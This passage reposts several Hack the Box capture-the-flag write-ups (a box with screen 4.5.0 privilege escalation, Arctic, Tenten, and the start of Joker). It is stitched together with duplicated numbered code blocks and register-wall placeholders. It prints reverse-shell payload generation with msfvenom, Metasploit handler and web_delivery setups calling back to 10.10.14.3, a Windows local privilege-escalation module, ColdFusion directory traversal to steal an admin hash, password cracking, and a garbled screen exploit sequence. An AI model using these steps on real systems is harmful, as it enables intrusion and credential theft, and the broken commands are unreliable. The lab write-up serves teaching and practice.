formurl = -o uploads/revshell.php [To see content please register here]
uploads/revshell.php denotes the path where our backdoor reverse.php file will be uploaded.
[To see content please register here] denotes the path for downloading the file from here.
After then click on the Go tab and found that our file is successfully transferred into the target’s system.
![[Image: 10.1.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-pYbLUKp7aYs/WsDxiCrAngI/AAAAAAAAV6w/93DICqxDSYoR8V_NrT1a9N9z3LCPGjgzwCLcBGAs/s1600/10.1.png?w=687&ssl=1)
As the revshell.php file is successfully transferred into the target’s system but we need to execute that file for getting the reverse connection, therefore, I simply run following the path in a web browser.
[To see content please register here]
1
[To see content please register here]
After executing uploaded backdoor file come back to the Metasploit framework and wait for the meterpreter session.
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 10.10.14.3
msf exploit(multi/handler) set lport 4321
msf exploit(multi/handler) exploit
1
2
3
4
5
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 10.10.14.3
msf exploit(multi/handler) set lport 4321
msf exploit(multi/handler) exploit
From given below image you can observe meterpreter session 1 opened for accessing victim tty shell.
meterpreter>sysinfo
1
meterpreter>sysinfo
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-qQuYN3hwLu0/WsDxiunQgYI/AAAAAAAAV60/7V-SBsA-JXgJHbnCmN1E6CXMuhyZsALegCLcBGAs/s1600/10.png?w=687&ssl=1)
Now let’s finished the task by grabbing user.txt and root.txt file. First I move into the home directory and check available files and directories inside it.
cd /home
ls
1
2
cd /home
ls
here I got a directory maria and after exploring it we found so many files and directory, at last, I fetch the user.txt file from inside /maria/Desktop/ and use cat command for reading.
cat user.txt
1
cat user.txt
our 1st challenges finished successfully now move for 2nd challenge.
![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-ZkjcqHYMNF8/WsDxjKF-dfI/AAAAAAAAV68/aYqoNMn8MKEkNZC9UsOBH3ZMpU19_qvvQCLcBGAs/s1600/11.png?w=687&ssl=1)
For spawning proper tty shell of target’s system we need to import python file, therefore, I run following command inside the meterpreter shell
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
Then using the following command we got all files and directories having root permission.
find / -perm -4000 -user root -exec ls -ld {} \; 2>/dev/null
1
find / -perm -4000 -user root -exec ls -ld {} \; 2>/dev/null
Here I notice /usr/bin/screen-4.5.0 now let’s check its exploit if available.
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-895M3ywup1s/WsDxkSxNAzI/AAAAAAAAV7E/OkPImo-IN3sDbW4dtlFrYFv6Co9wEOaFACLcBGAs/s1600/12.png?w=687&ssl=1)
In a new terminal, we look for any exploit present in exploitdb for screen 4.5.0 with help of searchsploit.
searchsploit screen 4.5.0
1
searchsploit screen 4.5.0
From given below image you can observe the highlighted exploit 41154.sh which is a shell script for local privilege escalation.
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-BKcvSYWM7Bo/WsDxkBrWz1I/AAAAAAAAV7A/iC9ee1xlO_IRtibYWtf_-XuAhm2i2ooZwCLcBGAs/s1600/13.png?w=687&ssl=1)
When I didn’t find any appropriate method to execute this shell script for post exploitation then I go with manual compilation and review its code using cat command.
cat /usr/share/exploitdb/exploits/linux/local/41154.sh
1
cat /usr/share/exploitdb/exploits/linux/local/41154.sh
If you will notice the following code then you will observe this script is written in C language and we have divided it into three part for manual compilation. - Copy Yellow highlighted the code and past it in a text document and save it as libhax.c
- Copy Orange highlighted the code and past it in a text document and save it as rootshell.c
At last copy remaining code and past it in a text document and save it as 41154.sh
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-Ui8tANVpMJs/WsDxkanrZqI/AAAAAAAAV7I/ENdFkUnP0sALGaiN5Q6kG_CWagAM5O7gACLcBGAs/s1600/14.png?w=687&ssl=1)
From given below image you can see I have pasted above copied inside rootshell.c
![[Image: 16.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-lKI4tjQ_3wg/WsDxlebigCI/AAAAAAAAV7U/DSziBStSvs0Kd3B3otW61hS6Jbb0600AgCLcBGAs/s1600/16.png?w=687&ssl=1)
From given below image you can see I have pasted above copied inside libhax.c
![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-L6UlAmep198/WsDxlHRtTxI/AAAAAAAAV7M/ok0obY8OKoMSZhZrbCZhr6i3wCK9Ab9GgCLcBGAs/s1600/17.png?w=687&ssl=1)
From given below image you can see I have pasted above remaining copied inside 41154.sh and save all three text document on the desktop in a new folder shell.
![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-wCDa_mTkcn8/WsDxlVpteSI/AAAAAAAAV7Q/GXLP9Fg3wWkGksb_ePeaDhmuwcWKOt7wACLcBGAs/s1600/18.png?w=687&ssl=1)
Let’s compile our C program file manually in our local system using gcc as given below.
gcc -fPIC -shared -ldl -o libhax.so libhax.c
1
gcc -fPIC -shared -ldl -o libhax.so libhax.c
![[Image: 22.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-eV0loDFdlmk/WsDxmCKpxmI/AAAAAAAAV7Y/4EkdBGn4LoYHx8N9k6Jisq9G4AvyaQDFQCLcBGAs/s1600/22.png?w=687&ssl=1)
Similarly compile rootshell.c file through the following command.
gcc -o rootshell rootshell.c
1
gcc -o rootshell rootshell.c
![[Image: 23.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-uaJmsR6CtN8/WsDxm9QKAOI/AAAAAAAAV7g/y0uOqAFvWg0aCjGQ4NGOgyqhDjFD8HrPwCLcBGAs/s1600/23.png?w=687&ssl=1)
From given below image you can see all files we have stored in our folder shell, now let’s upload them into the target’s system through our previous meterpreter session.
![[Image: 24.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-tI-CGXoMArM/WsDxnCeDdyI/AAAAAAAAV7k/7YphqFIbCGgedIyx9Ix-dB1IZOzyvO8LQCLcBGAs/s1600/24.png?w=687&ssl=1)
Since we /tmp has read and write permission, therefore, we are uploading all files in /tmp directory by executing following command.
cd /tmp
upload /root/Desktop/shell .
1
2
cd /tmp
upload /root/Desktop/shell .
![[Image: 25.1.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-_p7WMuiJfPM/WsDxorQ6H-I/AAAAAAAAV7w/3wUBpripO-U4epL-ZpOpXNnyTQHKwB3PwCLcBGAs/s1600/25.1.png?w=687&ssl=1)
Again for spawning proper tty shell of target’s system, we need to import python file, therefore, I run following command inside the meterpreter shell
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
Open 41154.sh file as it contains a command for getting root privilege as shown below.
cat 41154.sh
1
cat 41154.sh
![[Image: 25.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-iyN8UXg_BsU/WsDxobgvj9I/AAAAAAAAV7s/OADxYV9dOCgl2pqtOYYyiBG725AKdcTPQCLcBGAs/s1600/25.png?w=687&ssl=1)
Execute the following command and get the root.
cd /etc
unmask 000
-D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
cd root
1
2
3
4
cd /etc
unmask 000
-D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
cd root
Here I got root.txt file now using cat command let open this file and finished our 2nd challenge.
cat root.txt
1
cat root.txt
Wonderful!! We had completed the task and hacked this box.
![[Image: 26.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-AhxqhwsfGZo/WsDxo30AdaI/AAAAAAAAV70/mwoZ88rWRi4X3MuhchRRHpDyMrV8q-eiQCLcBGAs/s1600/26.png?w=687&ssl=1)
Hello friends!! Today we are going to solve another CTF challenge “Arctic” which is categories as retried lab presented by Hack the Box for making online penetration practices. Solving challenges in this lab is not that much easy until you don’t have some knowledge of vulnerability assessment. Let start and learn how to analyze any vulnerability in a network then exploit it for retrieving desired information.
Level: Intermediate
Task: find user.txt and root.txt file in the victim’s machine.
Since these labs are online accessible therefore they have static IP. The IP of Arctic is 10.10.10.11 so let’s initiate with nmap port enumeration.
nmap -A 10.10.10.11
1
nmap -A 10.10.10.11
From the given below image, you can observe we found port 1135, 8500 and 49154 are open in the victim’s network.
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-UkImethCB9s/Wr-nSb47XYI/AAAAAAAAV5E/CsxkWRJTA4Q14FUc9FC9-ibMKXPFKDBqwCEwYBhgL/s1600/1.png?w=687&ssl=1)
Looking toward port 8500 open fmtp service to upkeep flight message transfer protocol between Air Traffic Service, thought to explore it through as URL: [To see content please register here] in the web browser as shown below image.
And found two directories as result, then gone with first link “CFIDE”
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/--8Cmo63tVC0/Wr-nV-7Dl5I/AAAAAAAAV5M/snJqgJvVKX8MH16XcupVV3yXQmLf-4pGwCEwYBhgL/s1600/2.png?w=687&ssl=1)
Next, I got the index page of CFIDE and saw the administrator directory then without wasting time I move with administrator options.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-Jp3XlPh5UR4/Wr-nWH6z3NI/AAAAAAAAV5M/n4t-GkVJjx0wAhekqkX-cHzGwLtAX6e4wCEwYBhgL/s1600/3.png?w=687&ssl=1)
Administrator page contains admin login panel and required user and password for login which I don’t know. At the end of the page, I notice Adobe ColdFusion is running in the target system and if I took it as a hint then I will look for any exploit.
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-C8YB5PMfVes/Wr-nWgnWj7I/AAAAAAAAV5A/WAs97GvNGTA5eqGGVHvQeU25UrDXHlBRwCEwYBhgL/s1600/4.png?w=687&ssl=1)
So when I Google I found exploit 14641 Adobe Cold Fusion is vulnerable to Directory Traversal then I copied the highlighted text which indicates ColdFusion 8 also stores the administrator hash locally in a file password. Properties.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-7Ss_zItbNeA/Wr-nWgeD_0I/AAAAAAAAV5A/3Ca8lg5mGTEFXSpyXZxxpbG-kwAL0dInQCEwYBhgL/s1600/5.png?w=687&ssl=1)
Now we can seize the administrator hash using the directory traversal through the following URL:
From given below you can perceive that it has shown hash password, let copied it for its decryption into plain text.
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-WVLcF0HW8cQ/Wr-nXcMeNzI/AAAAAAAAV5M/yWkPruTWM7Yd8okc-dDpGI1Db-zO5IqnQCEwYBhgL/s1600/6.png?w=687&ssl=1)
Using online MD5 decryption I cracked above hash value and found “happyday” as a plaintext password which we can use for login into the admin panel.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-gl0xMUBV8FQ/Wr-nXap32EI/AAAAAAAAV5M/bZYPd1TBnOEq1sEO1aYAOjIkZ5AMsVbKACEwYBhgL/s1600/7.png?w=687&ssl=1)
Using admin:happyday as login credential I logged into the admin console and choose scheduled tasks option from inside Debugging & logging for scheduling new task as shown below in the image.
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-Fc47n9V_vyI/Wr-nX_OUGSI/AAAAAAAAV5E/U5idenVgo7MTSMx1hK4bavWECrKDsRqWQCEwYBhgL/s1600/8.png?w=687&ssl=1)
The scheduled task setup provides you the facility to download a file from a web server and save the output locally as shown below image, now fill text filed mention below which are mandatory.
Task Name: reversshell
URL: the path of running a web server through which it can download any file (Malicious file).
Publish: Enable check box to save the output locally
File: give default path for storing your malicious program file in the target’s system (by default C:\ColdFusion8\wwwroot\CFIDE\).
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-LjTRFFM_1ro/Wr-nXwWY4mI/AAAAAAAAV5I/j392zbTSVSAnnxhTwrWklhQL0hizsgLiQCEwYBhgL/s1600/9.png?w=687&ssl=1)
Now we need to generate a backdoor shell and for that, I had used msfvenom and generated a jsp shell through the following command.
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.3 LPORT=9000 -f raw > /root/Desktop/shell.jsp
1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.3 LPORT=9000 -f raw > /root/Desktop/shell.jsp
On other hand run multi/handler through Metasploit framework for reverse connection.
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-hfu4tfqAIV8/Wr-nSlpoDBI/AAAAAAAAV5I/SX3ScJ0oSoQO7v2q8xZWXKXMCATB8cctgCEwYBhgL/s1600/10.png?w=687&ssl=1)
Now we need to transfer our shell.jsp file to target system therefore first we need to run python server on port 80 using the following command.
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-MsHc55foh48/Wr-nSpBTOWI/AAAAAAAAV5A/MM53DrK8Wv0AG-aTV67FP_3F2VDmIAWkQCEwYBhgL/s1600/11.png?w=687&ssl=1)
Now upload your shell.jsp file by giving its path in URL filed [To see content please register here] and enable the checkbox for save the output locally then give default path C:\ColdFusion8\wwwroot\CFIDE\shell.jsp for storing your malicious program file in target’s system and click on submit.
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-plqxJ_ldEWE/Wr-nTVAEJEI/AAAAAAAAV5I/h2J5XtJbgJwdliwqnPxEGHYkSC5fjSrxgCEwYBhgL/s1600/12.png?w=687&ssl=1)
From given below image now you can check our reversshell is added into the list of task name, for executing our malicious jsp code we need to run the scheduled task.
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-RQM8XuSh6rc/Wr-nTZZoPVI/AAAAAAAAV5I/JLkMWWyZAnMPI75G0nea44WIiVLtxByAQCEwYBhgL/s1600/13.png?w=687&ssl=1)
We have used Metasploit and got the reverse connection from the target’s network.
msf use exploit/multi/handler
msf exploit(multi/handler) set payload java/jsp_shell_reverse_tcp
msf exploit(multi/handler) set lhost 10.10.14.3
msf exploit(multi/handler) set lport 9000
msf exploit(multi/handler) exploit
1
2
3
4
5
msf use exploit/multi/handler
msf exploit(multi/handler) set payload java/jsp_shell_reverse_tcp
msf exploit(multi/handler) set lhost 10.10.14.3
msf exploit(multi/handler) set lport 9000
msf exploit(multi/handler) exploit
From given below image you can observe command shell session1 opened for accessing victim tty shell.
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-p-uLwo6ieyI/Wr-nTTTAHMI/AAAAAAAAV5I/hftYURtbAY4Ik3DH_mxj0GfxJFV4c-zTACEwYBhgL/s1600/14.png?w=687&ssl=1)
I try post exploit command for upgrading command shell into the meterpreter shell but failed, therefore, at last, I open a new Metasploit framework choose web_delivery exploit and copied the highlighted malicious code received after running the exploit.
msf use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) set target 2
msf exploit(multi/script/web_delivery) set payload windows/x64/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) set lhost 10.10.14.3
msf exploit(multi/script/web_delivery) set lport 4455
msf exploit(multi/script/web_delivery) run
1
2
3
4
5
6
msf use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) set target 2
msf exploit(multi/script/web_delivery) set payload windows/x64/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) set lhost 10.10.14.3
msf exploit(multi/script/web_delivery) set lport 4455
msf exploit(multi/script/web_delivery) run
After copying the malicious code, we need to paste it inside command shell session and execute it there and you will get meterpreter shell session 2. Since tty shell that we access has limited privileges therefore now we need to go with privilege escalation.
![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-JAUWnlcEiw0/Wr-nbw6q4CI/AAAAAAAAV5M/kXyfdQak-3ETAAC6Y_sYARgTLD5zGAf5ACEwYBhgL/s1600/15.png?w=687&ssl=1)
After trying a lot of posts exploit we successfully get a new meterpreter session through the ms15_051_client_copy_image module as given below.
use exploit/windows/local/ms15_051_client_copy_image
msf exploit(windows/local/ms15_051_client_copy_image) >set target 1
msf exploit(windows/local/ms15_051_client_copy_image) >set payload windows/x64/meterpreter/reverse_tcp
msf exploit(windows/local/ms15_051_client_copy_image) >set lhost 10.10.14.3
msf exploit(windows/local/ms15_051_client_copy_image) >set lport 8653
msf exploit(windows/local/ms15_051_client_copy_image) >set session 2
msf exploit(windows/local/ms15_051_client_copy_image) >exploit
1
2
3
4
5
6
7
use exploit/windows/local/ms15_051_client_copy_image
msf exploit(windows/local/ms15_051_client_copy_image) >set target 1
msf exploit(windows/local/ms15_051_client_copy_image) >set payload windows/x64/meterpreter/reverse_tcp
msf exploit(windows/local/ms15_051_client_copy_image) >set lhost 10.10.14.3
msf exploit(windows/local/ms15_051_client_copy_image) >set lport 8653
msf exploit(windows/local/ms15_051_client_copy_image) >set session 2
msf exploit(windows/local/ms15_051_client_copy_image) >exploit
From given below image we have meterpreter session 3.
meterpreter> getuid
1
meterpreter> getuid
![[Image: 16.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-gE170iu1W80/Wr-nUY8exVI/AAAAAAAAV5A/i6tmT-hb0R42PBR600Nuvdo_LhtQGe2cgCEwYBhgL/s1600/16.png?w=687&ssl=1)
Now let’s finish the task by grabbing user.txt and root.txt file. First I move into user directory and check available files and directories inside it.
cd users
ls
1
2
cd users
ls
Here I saw so many directories and traverse in each directory except tolis but didn’t get any file.
![[Image: 17.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-Y1XBWj-cZY8/Wr-nUURPYYI/AAAAAAAAV5E/xNyWZc3j2EAyWVnGfX1oeITgGJXQe3cLgCEwYBhgL/s1600/17.png?w=687&ssl=1)
When I explore tolis/Desktop I saw user.txt and use cat command for reading.
cd tolis/Desktop
ls
cat user.txt
1
2
3
cd tolis/Desktop
ls
cat user.txt
Great!! Here we had completed 1st task now move to the 2nd task.
![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-b4mYozLyTKo/Wr-nVBZvy7I/AAAAAAAAV5I/YQRy_Dt0KPYQJchl9pkLvzagYcL2GKExACEwYBhgL/s1600/18.png?w=687&ssl=1)
Similarly, after traversing so many directories I got root.txt from inside users/Administrator/Desktop and use cat command for reading.
cd /users/Administrator/Desktop
ls
cat root.txt
1
2
3
cd /users/Administrator/Desktop
ls
cat root.txt
Fruitfully completed the 2nd task!!
![[Image: 19.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-gve4IIUX9TQ/Wr-nVf_RBlI/AAAAAAAAV5I/5TvuSirNkvo6z5tHxW1BuHN-AkGA7hY3gCEwYBhgL/s1600/19.png?w=687&ssl=1)
Hello friends!! Today we are going to solve another CTF challenge “Tenten” which is available online for those who want to increase their skill in penetration testing and black box testing. Tenten is a retried vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level, they have a collection of vulnerable labs as challenges from beginners to Expert level.
Level: Intermediate
Task: find user.txt and root.txt file in the victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.10 so let’s begin with nmap port enumeration.
nmap -A 10.10.10.10
1
nmap -A 10.10.10.10
From the given below image, you can observe we found port 22,80 are open in the victim’s network.
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-1HFRqkuuw6E/Wr8-_xEv-II/AAAAAAAAV2M/CNEcRe4AeBcuywyXDoAFc_MRpZra9YdIgCLcBGAs/s1600/1.png?w=687&ssl=1)
Knowing port 80 is open in victim’s network we preferred to explore his IP in the browser following page indicates that is a WordPress website which is a remarkable indication for my next step.
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-lL5HIQY60II/Wr8_A_BloNI/AAAAAAAAV2g/wsJeG2TcOuQs73atFQ69RHVvG-1MAO-eACLcBGAs/s1600/2.png?w=687&ssl=1)
Now we decided to use wpscan, on the URL that we have entered in the browser. To check if there are any kind of vulnerable themes, plugins etc.
wpscan –u [To see content please register here] --enumerate t --enumerate t --enumerate u
1
wpscan –u [To see content please register here] --enumerate t --enumerate t --enumerate u
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-ZW-bJP5Ihn4/Wr8_BbPHoiI/AAAAAAAAV2k/_o5l8oiE3dseCOSKo9IskkfYs7Pipf_UQCLcBGAs/s1600/3.png?w=687&ssl=1)
The wpscan has enumerated the usernames where we have found the login credentials as takis.
![[Image: 4.1.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-947IOAMOGlQ/Wr8_Bl2wozI/AAAAAAAAV2o/HBZ2o-2ikNUcPXM-W3ypQgibU4bjakdJQCLcBGAs/s1600/4.1.png?w=687&ssl=1)
Now we have clicked on Sign Up to register on the site. And we saw Jobs Listing as shown below.
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-3jB5Bv6x87M/Wr8_B76XTRI/AAAAAAAAV2s/c6SgInQFfh4CuRMsjdVT0lRPGd-qSHEqgCLcBGAs/s1600/4.png?w=687&ssl=1)
After giving the details about the job. Click on apply now.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-GUFcjpuNPaA/Wr8_CKTmytI/AAAAAAAAV2w/JDQezklupjEKwYTeGWG_BKBYUZ2lrCA-QCLcBGAs/s1600/5.png?w=687&ssl=1)
After clicking on apply now, the webpage opened is shown below.
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-ef8ckubRBEg/Wr8_CCa3CGI/AAAAAAAAV20/SNuCdCd-JMQ8hm9LRTXSkYclGIxv09TrgCLcBGAs/s1600/6.png?w=687&ssl=1)
As you can see from the previous image, we have made an alight change in the URL. In which we have simply changed the end number by /10/ which opened a page stating Job application as you can see below.
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/--ry149-v8Yo/Wr8_CWibyXI/AAAAAAAAV24/c5fiq0BAkuAAj9jIlGkb63N1SZP6qj1ZgCLcBGAs/s1600/7.png?w=687&ssl=1)
As you can see we have again changed the end number in the URL by 11 and this time it opened a page stating Cube.
![[Image: 9.1.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-z_5FJhbIumw/Wr8_C6CgmKI/AAAAAAAAV28/Ly3c_7ECmooJS_olCP8JU0eVYJN6bWLYACLcBGAs/s1600/9.1.png?w=687&ssl=1)
So as to avoid wastage of time. We have simply captured the request of the page using burpsuite and sent to intruder for fuzzing.
![[Image: 9.2.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-tStk2cU8LEM/Wr8_DBnfxJI/AAAAAAAAV3A/wqyrAKp49DcSzyaUte2OJbm5-bh0P7GzwCLcBGAs/s1600/9.2.png?w=687&ssl=1)
After that inside intruder, we have selected the position 8 as highlighted in the below image where we want to use bruteforcing through burpsuite.
![[Image: 9.3.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-0aIeqe5ifaE/Wr8_DC0Cg3I/AAAAAAAAV3E/iUSOkNiR1kAv7x0dakYphmZAW_75F7mpgCLcBGAs/s1600/9.3.png?w=687&ssl=1)
We have selected the Payload type as Numbers where we have specified the number range as shown below.
![[Image: 9.4.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-4XurdRPo_LI/Wr8_Ds5uLSI/AAAAAAAAV3M/HZFzIevYwW0buYaSMCslAYefoVmmSPqewCLcBGAs/s1600/9.4.png?w=687&ssl=1)
As you can see the attack has begun. By selecting payload 13 which made us think there might be something different about this page and there we saw the title of the page which is HackerAccessGranted as you can see below.
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-TMtrLD9AP8A/Wr8_Dq8fjHI/AAAAAAAAV3I/QKPCGtj5yfcKlUtne74KyKO5yAbXHRs8wCLcBGAs/s1600/9.png?w=687&ssl=1)
As we know in WordPress there is directory structure for the uploaded files is recognized by /wp-content/uploads/%year%/%month%/%filename% then I connect HackerAccessGranted with an Image file and at last after so many attempts I execute to use the following URL.
[To see content please register here]
1
[To see content please register here]
Finally!! It has shown a hacker image on this web page and without wasting time I downloaded this image.
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-5i2ogKgseNc/Wr8-_-znbSI/AAAAAAAAV2Q/QnFBjFjMBhoTHbPTeeWfsMu2TqlQK9hMgCLcBGAs/s1600/10.png?w=687&ssl=1)
Since it was an image of a hacker with message Access Granted but I was pretty sure that it is steganography and there are some chances of hidden text within this image therefore next I choose to use Steghide tool.
steghide extract -sf HackerAccessGranted.jpg
1
steghide extract -sf HackerAccessGranted.jpg
From given below image you can observe that it has extract .jpg image into “id_rsa”
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-SQVZzBBjevA/Wr8-_mwLq8I/AAAAAAAAV2I/4fBUab351M4mNCXv5oSoXHchZ1XBlh0mwCLcBGAs/s1600/11.png?w=687&ssl=1)
When I try to open this file, it required a password to view its content.
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-p10m7msvXts/Wr8_AXx1-FI/AAAAAAAAV2U/agr-sQp6Fp0AoT1se5XkbGygUwcFsp2bACLcBGAs/s1600/12.png?w=687&ssl=1)
Formerly I download a python script from [To see content please register here] for cracking the password of this file. Then I ran following command and got desired output.
python sshng2john.py id_rsa > ssh_login
1
python sshng2john.py id_rsa > ssh_login
Then we used John the ripper for cracking this ssh_login file.
john ssh_login --wordlist=/usr/share/wordlists/rockyou.txt
1
john ssh_login --wordlist=/usr/share/wordlists/rockyou.txt
“superpassword” we got a result from executing the above command.
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-KA0kd0KUeeE/Wr8_Ap5PsyI/AAAAAAAAV2Y/hEYVraAtQK4mQt_HCQjt4y7GZtDdL418QCLcBGAs/s1600/13.png?w=687&ssl=1)
And without wasting time I execute the following command for login into SSH using superpassword as the password.
ssh -i id_rsa [email protected]
1
ssh -i id_rsa [email protected]
Great!! I logged in successfully and check Takis’s privileged and roles using sudo -l and found he has all privileged and an indication for a directory /bin/fuckin with NOPASSWD.
First I explore the current directory where I found user.txt and use cat command for reading.
cat user.txt
1
cat user.txt
Successfully completed the 1st task.
Then move into /bin/fuckin where I found same file user.txt then without wasting I enrolled into root directory for finding root.txt.
cd /root
1
cd /root
Here I found user.txt and use cat command for reading.
cat root.txt
1
cat root.txt
Successfully completed the 2nd task.
Solving this lab was quite captivating especially steganography for hiding ssh password is a remarkable effort done by the author.
Enjoy Hacking!!
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-SY_4RiotWcc/Wr8_AmAb49I/AAAAAAAAV2c/w46yADP7GYA3PTxiLWUi5GURFEK5KBgDACLcBGAs/s1600/14.png?w=687&ssl=1)
Hello friends!! Today we are going to solve another CTF challenge “Joker” which is lab presented by Hack the Box for making online penetration practices according to your experience level. They have collection of vulnerable labs as challenges from beginners to Expert level. HTB have two partitions of lab i.e. Active and retired since we can’t submit write up of any Active lab therefore we have chosen retried joker lab.
Level: Intermediate
Task: find user.txt and root.txt file in victim’s machine.
Since these labs are online available therefore they have static IP. The IP of Joker is 10.10.10.21 so let’s begin with nmap port enumeration.
nmap -A 10.10.10.21
1
nmap -A 10.10.10.21
From given below image, you can observe we found port 22, 3128 are open in victim’s network.
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-wJ0Nmh1rjQ4/Wr5SAuV-HmI/AAAAAAAAVzw/XUSLUYiKcPYhgcUjmx40FwZXElTgM8-6wCEwYBhgL/s1600/1.png?w=687&ssl=1)
After completing the Aggressive scan we use UDP scan to further enumerate the ports and find port 69 and 5355 are open.
![[Image: 2.1.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-ApmN2cEEbKk/Wr5SDLclVpI/AAAAAAAAVz0/2OBg4cISXOU0XRrxNEPg6o5_97OsmAx6gCEwYBhgL/s1600/2.1.png?w=687&ssl=1)
After finding that the target machine is running tftp, we find a file called passwords we download the file and find that it consist of some hashes.
tftp 10.10.10.21
tftp > get passwords
1
2
tftp 10.10.10.21
tftp > get passwords
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-LuIdkKYNJ6M/Wr5SDjYjG4I/AAAAAAAAVz8/4Kwz10DP4UcJt0ATS6x7FeWZ2UylRCXQgCEwYBhgL/s1600/2.png?w=687&ssl=1)
After downloading the file we use john the ripper to crack the hashes using rockyou.txt wordlist. We find the password to be “ihateseafood” for user “kalamari“.
john --wordlist=/usr/share/wordlists/rockyou.txt passwords
1
john --wordlist=/usr/share/wordlists/rockyou.txt passwords
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-FPUuRi3xMZk/Wr5SEeoFA0I/AAAAAAAAV0E/HRsLdy3VaOwmGz20qZbpenN-xyebMJIyACEwYBhgL/s1600/3.png?w=687&ssl=1)
As we know the target machine is running as squid proxy, we configure our browser to redirect the traffic through the target machine.
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-BbvxEj_Uhe8/Wr5SEmBqASI/AAAAAAAAVz0/P_678xS0-ak-jDpWtNo0Nwxw5Jxu83sVgCEwYBhgL/s1600/4.png?w=687&ssl=1)
Now when we try to access the target machine on our browser we are unable to access any page.
